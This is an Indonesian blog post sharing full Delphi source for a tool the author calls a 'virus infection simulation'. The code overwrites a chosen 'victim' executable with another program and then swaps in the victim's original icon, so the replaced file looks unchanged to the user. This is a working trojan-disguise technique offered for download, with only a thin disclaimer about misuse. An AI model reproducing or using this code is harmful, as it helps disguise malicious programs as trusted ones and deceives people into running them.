Seiring dengan banyaknya request baik melalui email ato sms yang menanyakan seputar hal
mengenai teknik infeksi virus yang ada sekarang ini, maka iseng2 dengan berbagai
sumber di Internet(saya lupa alamatnya karena banyak 
) dan improvisasi saya ciptakan
suatu tool yang saya namakan “Simulasi Infeksi Virus 1.0 – OpenSource”, berbeda dengan
artikel terdahulu saya di Delphi-id.org, saya memodifikasi program ini dengan suatu
penambahan penggantian ikon pada korban sehingga ikon pada korban akan tetap sama walaupun
sebenarnya apabila kita eksekusi program “korban” bukanlah aslinya seperti yang semula.bingung???
sama saya juga bingung apa yang tak jelasin
Ya udah…daripada terlalu banyak bertele-tele anda silahkan mencobanya sendiri, segala
kritikan bug / lainnya mengenai program ini yang dikirimkan melalui e-mail akan langsung
saya “Bumi Hanguskan”. ScreenShotnya adalah sebagai berikut :
berikut ini adalah source code selengkapnya :
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons,ShellAPI, ExtCtrls;
type
TfrmInfect = class(TForm)
GroupBox1: TGroupBox;
Label1: TLabel;
edTarget: TEdit;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
edKorban: TEdit;
Label2: TLabel;
GroupBox2: TGroupBox;
SpeedButton3: TSpeedButton;
SpeedButton4: TSpeedButton;
procedure SpeedButton3Click(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure SpeedButton4Click(Sender: TObject);
private
function ChangeIconExe(FileName, IcoFileName: pchar): Boolean;
procedure SaveIcon(srcPath: string);
{ Private declarations }
public
{ Public declarations }
end;
var
frmInfect: TfrmInfect;
sPathIcon: string;
implementation
{$R *.dfm}
procedure TfrmInfect.SaveIcon(srcPath: string);
var
MyIcon: TIcon;
img : TImage;
begin
MyIcon:=TIcon.Create;
img:=TImage.Create(Self);
MyIcon.Handle:=ExtractIcon(hInstance,PChar(srcpath),0);
sPathIcon := ExtractFilePath(Application.ExeName) + ‘\$$$.ico’;
img.Picture.Icon.Handle := MyIcon.Handle;
img.Picture.Icon.SaveToFile(sPathIcon);
end;
function TfrmInfect.ChangeIconExe(FileName, IcoFileName: pchar): Boolean;
procedure Error(const Msg: String);
begin
raise Exception.Create(‘Pengubahan resource gagal: ‘ + Msg);
end;
procedure ErrorWithLastError(const Msg: String);
begin
Error(Msg + ‘(‘ + IntToStr(GetLastError) + ‘)’);
end;
function EnumLangsFunc(hModule: Cardinal; lpType, lpName: PAnsiChar;
wLanguage: Word; lParam: Integer): Boolean; stdcall;
begin
PWord(lParam)^ := wLanguage;
Result := False;
end;
function GetResourceLanguage(hModule: Cardinal; lpType, lpName: PAnsiChar;
var wLanguage: Word): Boolean;
begin
wLanguage := 0;
EnumResourceLanguages(hModule, lpType, lpName, @EnumLangsFunc,
Integer(@wLanguage));
Result := True;
end;
type
PIcoItemHeader = ^TIcoItemHeader;
TIcoItemHeader = packed record
Width: Byte;
Height: Byte;
Colors: Byte;
Reserved: Byte;
Planes: Word;
BitCount: Word;
ImageSize: DWORD;
end;
PIcoItem = ^TIcoItem;
TIcoItem = packed record
Header: TIcoItemHeader;
Offset: DWORD;
end;
PIcoHeader = ^TIcoHeader;
TIcoHeader = packed record
Reserved: Word;
Typ: Word;
ItemCount: Word;
Items: array [0..MaxInt shr 4 - 1] of TIcoItem;
end;
PGroupIconDirItem = ^TGroupIconDirItem;
TGroupIconDirItem = packed record
Header: TIcoItemHeader;
Id: Word;
end;
PGroupIconDir = ^TGroupIconDir;
TGroupIconDir = packed record
Reserved: Word;
Typ: Word;
ItemCount: Word;
Items: array [0..MaxInt shr 4 - 1] of TGroupIconDirItem;
end;
function IsValidIcon(P: Pointer; Size: Cardinal): Boolean;
var
ItemCount: Cardinal;
begin
Result := False;
if Size < Cardinal(SizeOf(Word) * 3) then
Exit;
if (PChar(P)[0] = ‘M’) and (PChar(P)[1] = ‘Z’) then
Exit;
ItemCount := PIcoHeader(P).ItemCount;
if Size < Cardinal((SizeOf(Word) * 3) + (ItemCount * SizeOf(TIcoItem)))
then
Exit;
P := @PIcoHeader(P).Items;
while ItemCount > Cardinal(0) do begin
if (Cardinal(PIcoItem(P).Offset + PIcoItem(P).Header.ImageSize) <
Cardinal(PIcoItem(P).Offset)) or
(Cardinal(PIcoItem(P).Offset + PIcoItem(P).Header.ImageSize) >
Cardinal(Size)) then
Exit;
Inc(PIcoItem(P));
Dec(ItemCount);
end;
Result := True;
end;
var
H: THandle;
M: HMODULE;
R: HRSRC;
Res: HGLOBAL;
GroupIconDir, NewGroupIconDir: PGroupIconDir;
I: Integer;
wLanguage: Word;
F: TFileStream;
Ico: PIcoHeader;
N: Cardinal;
NewGroupIconDirSize: LongInt;
begin
result := false;
if Win32Platform <> VER_PLATFORM_WIN32_NT then begin
Error(‘Sistem Operasi Tidak Mendukung’);
Exit;
end;
Ico := nil;
try
{ Buka Iconnya dulu… }
F := TFileStream.Create(IcoFileName, fmOpenRead, fmShareDenyRead);
try
N := F.Size;// .tangkap ukurannya
if Cardinal(N) > Cardinal($100000) then begin
Error(‘File Icon Terlalu Besar’);
Exit;
end;
GetMem(Ico, N);
F.ReadBuffer(Ico^, N);
finally
F.Free;
end;
{ Pastikan icon telah valid }
if not IsValidIcon(Ico, N) then begin
Error(‘Icon file is invalid’);
Exit;
end;
{ Ubah Resourcenya }
H := BeginUpdateResource(PChar(FileName), False);
if H = 0 then begin
ErrorWithLastError(‘Gagal Mengubah Resource’);
Exit;
end;
try
M := LoadLibraryEx(PChar(FileName), 0, LOAD_LIBRARY_AS_DATAFILE);
if M = 0 then begin
ErrorWithLastError(‘Gagal Load Library-nya!!!’);
Exit;
end;
try
{ Buka resource Icon Utama }
R := FindResource(M, ‘MAINICON’, RT_GROUP_ICON);
if R = 0 then begin
ErrorWithLastError(‘Gagal menemukan alamat resource ‘);
Exit;
end;
Res := LoadResource(M, R);
if Res = 0 then begin
ErrorWithLastError(‘Gagal membuka resource ‘);
Exit;
end;
GroupIconDir := LockResource(Res);
if GroupIconDir = nil then begin
ErrorWithLastError(‘Gagal membuka resource’);
Exit;
end;
if not GetResourceLanguage(M, RT_GROUP_ICON, ‘MAINICON’, wLanguage)
then begin
ErrorWithLastError(‘Gagal mendapatkan detil resource’);
Exit;
end;
if not UpdateResource(H, RT_GROUP_ICON, ‘MAINICON’, wLanguage, nil,
0) then begin
ErrorWithLastError(‘Pengubahan resource gagal’);
Exit;
end;
{ Hapus resource icon yang termasuk dalam Icon Utama }
for I := 0 to GroupIconDir.ItemCount-1 do begin
if not GetResourceLanguage(M, RT_ICON,
MakeIntResource(GroupIconDir.Items[I].Id), wLanguage) then begin
ErrorWithLastError(‘Gagal mendapatkan “Resource Language”‘);
Exit;
end;
if not UpdateResource(H, RT_ICON,
MakeIntResource(GroupIconDir.Items[I].Id), wLanguage, nil, 0) then begin
ErrorWithLastError(‘Pengubahan resource gagal’);
Exit;
end;
end;
{ Bentuk grup icon yang baru }
NewGroupIconDirSize :=
3*SizeOf(Word)+Ico.ItemCount*SizeOf(TGroupIconDirItem);
GetMem(NewGroupIconDir, NewGroupIconDirSize);
try
NewGroupIconDir.Reserved := GroupIconDir.Reserved;
NewGroupIconDir.Typ := GroupIconDir.Typ;
NewGroupIconDir.ItemCount := Ico.ItemCount;
for I := 0 to NewGroupIconDir.ItemCount-1 do begin
NewGroupIconDir.Items[I].Header := Ico.Items[I].Header;
NewGroupIconDir.Items[I].Id := I+1;
end;
{ Ubah Icon Utama }
for I := 0 to NewGroupIconDir.ItemCount-1 do
if not UpdateResource(H, RT_ICON,
MakeIntResource(NewGroupIconDir.Items[I].Id), 1033, Pointer(DWORD(Ico) +
Ico.Items[I].Offset), Ico.Items[I].Header.ImageSize) then begin
ErrorWithLastError(‘Pengubahan resource gagal’);
Exit;
end;
if not UpdateResource(H, RT_GROUP_ICON, ‘MAINICON’, 1033,
NewGroupIconDir, NewGroupIconDirSize) then begin
ErrorWithLastError(‘Pengubahan resource gagal’);
Exit;
end;
finally
FreeMem(NewGroupIconDir);
end;
finally
FreeLibrary(M);
end;
except
EndUpdateResource(H, True);
raise;
end;
if not EndUpdateResource(H, False) then begin
Error(‘[] Step Terakhir Pengubahan Resource Gagal’);
Exit;
end;
finally
FreeMem(Ico);
end;
result := true;
end;
procedure TfrmInfect.SpeedButton3Click(Sender: TObject);
begin
Application.MessageBox(‘Simulai Infeksi Virus 1.0 – OpenSource’ + #13 +
‘============================’ + #13 +
‘Created by Tigor Mangatur Manurung A.k.A n3o_cybertech’,'Informasi’,MB_OK or MB_ICONINFORMATION);
end;
procedure TfrmInfect.SpeedButton1Click(Sender: TObject);
var
dlg: TOpenDialog;
begin
dlg:=TOpenDialog.Create(Self);
try
dlg.Filter := ‘File EXE | *.exe’;
dlg.Title := ‘Cari Target…’;
if dlg.Execute then
edTarget.Text := dlg.FileName;
finally
dlg.Free;
end;
end;
procedure TfrmInfect.SpeedButton2Click(Sender: TObject);
var
dlg: TOpenDialog;
begin
dlg:=TOpenDialog.Create(Self);
try
dlg.Filter := ‘File EXE | *.exe’;
dlg.Title := ‘Cari Korban…’;
if dlg.Execute then
edKorban.Text := dlg.FileName;
finally
dlg.Free;
end;
end;
procedure TfrmInfect.SpeedButton4Click(Sender: TObject);
var target,korban: string;
begin
if (
(Trim(edTarget.Text) = ”) or
(Trim(edKorban.Text) = ”)
) then exit;
if not(
(FileExists(edTarget.Text)) or
(FileExists(edKorban.Text))
) then exit;
//ekstrak ikonnya dan simpen ke file
target := edTarget.Text;
korban := edKorban.Text;
SaveIcon(korban);
CopyFile(PChar(Target),PChar(Korban),False);
sleep(50);
ChangeIconExe(PChar(korban),PChar(sPathIcon));
DeleteFile(ExtractFilePath(Application.ExeName) + ‘\$$$.ico’);
end;
end.
program ini hanya bisa beroperasi untuk program yang tidak di-packer, untuk yang di-packer anda dapat memodifikasinya sendiri .
Segala penyalahgunaan terhadap program ini Saya selaku programmer tidak bertanggung jawab atas hal itu (tingkatin tuh jiwa nasionalismenya!!! ).
males nulis manual??? neh donlot disini
